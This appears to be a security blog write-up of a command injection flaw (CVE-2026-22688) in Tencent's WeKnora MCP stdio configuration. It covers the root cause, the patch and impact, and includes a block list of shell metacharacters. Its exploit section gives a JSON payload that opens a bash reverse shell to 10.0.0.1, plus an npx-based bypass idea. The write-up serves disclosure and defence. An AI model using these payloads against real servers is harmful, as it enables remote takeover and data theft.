Feb 21, 2026·6 min read·7 visits
WeKnora trusted user input for subprocess execution. Authenticated users could configure the 'stdio' transport to run `/bin/bash` instead of legitimate tools, leading to immediate RCE. Fixed in v0.2.5 via strict allowlisting.
A critical command injection vulnerability in Tencent's WeKnora framework allows low-privileged users to execute arbitrary system commands via the Model Context Protocol (MCP) configuration. By manipulating the 'stdio' transport settings, attackers can escape the application sandbox and gain full control over the host server.
We live in the golden age of "Agentic AI"—frameworks that don't just chat with you but actually do things. Tencent's WeKnora is one such beast, designed for document understanding and semantic retrieval. To do its job, it uses the Model Context Protocol (MCP), a standard that allows the LLM to interface with local tools and servers. Think of MCP as the hands of the AI.
But here is the problem: In early versions of WeKnora, the developers forgot to put handcuffs on those hands. The framework supports a stdio transport layer, which essentially tells the server: "Hey, spawn this process and talk to it via standard input/output."
For a security researcher, seeing a feature that spawns processes based on user configuration is like smelling blood in the water. It’s not just a feature; it’s a potential remote shell wrapped in a fancy API. And in CVE-2026-22688, that potential became a reality.
The root cause is a classic failure of input sanitization meeting a dangerous sink. The vulnerability lies deep within internal/application/service/mcp_service.go and internal/mcp/client.go.
When a user creates an MCP Service, they define the configuration. Specifically, they can choose the transport_type. If they select stdio, the application expects a stdio_config object containing a command and a list of args.
In a secure world, this command would be an index pointing to a pre-defined, hardcoded list of safe binaries (like a specific python script or a grep tool). In WeKnora's world (prior to v0.2.5), it was a raw string passed directly to the operating system's process spawner.
The application effectively said: "You want to run ls? Sure. You want to run curl? Okay. You want to run /bin/bash and pipe the internet into my kernel? Right this way, sir."
Because the CreateMCPService and UpdateMCPService functions lacked any validation logic, they happily stored these malicious configurations in the database. The moment the "Test Connection" feature was triggered, the application hydrated that config and passed it to Go's os/exec equivalent via the mcp-go library.
Let's look at the transition. Before the patch, the code essentially took the JSON payload and mapped it 1:1 to an execution context. There were no guardrails.
The fix, introduced in commit f7900a5e9a18c99d25cec9589ead9e4e59ce04bb, is a textbook example of "Allowlisting vs. Blocklisting"—and they decided to use both.
The Patch Strategy:
bash, sh, or python directly. You are restricted to npx and uvx. These are package runners for Node and Python, which is still risky (more on that later), but better than raw shell access.internal/utils/security.go to catch shell metacharacters.Here is a conceptual look at the validation logic introduced:
// heavily simplified representation of the fix
func ValidateStdioConfig(cmd string, args []string) error {
// 1. Check the Command
allowedCmds := map[string]bool{"npx": true, "uvx": true}
if !allowedCmds[cmd] {
return errors.New("command not allowed")
}
// 2. Check the Arguments for Evil
// Block list: command injection chars, path traversal, dangerous flags
dangerousPatterns := []string{
"-c", "--command", // shell execution
";", "|", "&", // chaining
"$(", "`", // substitution
">", "<", // redirection
"../", // traversal
}
for _, arg := range args {
for _, pattern := range dangerousPatterns {
if strings.Contains(arg, pattern) {
return errors.New("illegal argument detected")
}
}
}
return nil
}This code attempts to neuter the attack by ensuring that even if you run npx, you can't easily chain it into a reverse shell using standard shell flags.
Exploiting this on a vulnerable instance (pre-0.2.5) is trivial and requires no advanced memory corruption techniques. It is a logic bug, pure and simple.
Prerequisites:
The Attack Chain:
POST /api/v1/mcp-services.{
"name": "System Update Service",
"type": "stdio",
"stdio_config": {
"command": "/bin/bash",
"args": [
"-c",
"bash -i >& /dev/tcp/10.0.0.1/1337 0>&1"
]
}
}Trigger: Send the payload. The server saves it. Now, find the ID of your new service and hit the "Test" endpoint: POST /api/v1/mcp-services/{ID}/test.
Execution: The server spins up bash, executes your reverse shell one-liner, and your netcat listener on 10.0.0.1 lights up with a root (or app-user) prompt.
> [!WARNING] > Because WeKnora is often deployed in containerized environments with high privileges to access documents, the compromised user often has significant read/write access to the internal network or sensitive document stores.
The patch restricts the command to npx or uvx. While this stops bash -c, it is not a silver bullet. npx (Node Package Execute) is designed to download and run code.
While the patch blocks arguments like -c or ;, an attacker might still be able to craft a malicious npm package. If the server has internet access, an attacker could publish a package legit-looking-tool that contains a postinstall script or a main entry point that executes a reverse shell.
Theoretical Bypass:
{
"command": "npx",
"args": ["-y", "@attacker/malicious-package"]
}If the argument validator only looks for shell syntax (like | or &) and misses the fact that npx itself is an execution engine, the fix is merely a speed bump. This highlights the difficulty of securing "Agentic" protocols—if you allow the agent to run code, you are always one configuration error away from RCE.
Confidentiality: Total loss. The attacker can read all documents WeKnora has indexed, database credentials, and API keys stored in environment variables.
Integrity: Total loss. The attacker can modify the application code, inject backdoors into the frontend to capture other users' credentials, or delete data.
Availability: Total loss. rm -rf / is a valid command arguments list.
This vulnerability is rated Critical (9.9) because it requires low privileges, has no user interaction requirement (UI:N), and results in a scope change (S:C) where the attacker pivots from the web app to the underlying OS.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
WeKnora Tencent | < 0.2.5 | 0.2.5 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-77 (Command Injection) |
| CVSS Score | 9.9 (Critical) |
| Attack Vector | Network (Authenticated) |
| Attack Complexity | Low |
| Privileges Required | Low |
| Scope | Changed |
| EPSS Score | 0.00343 |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command.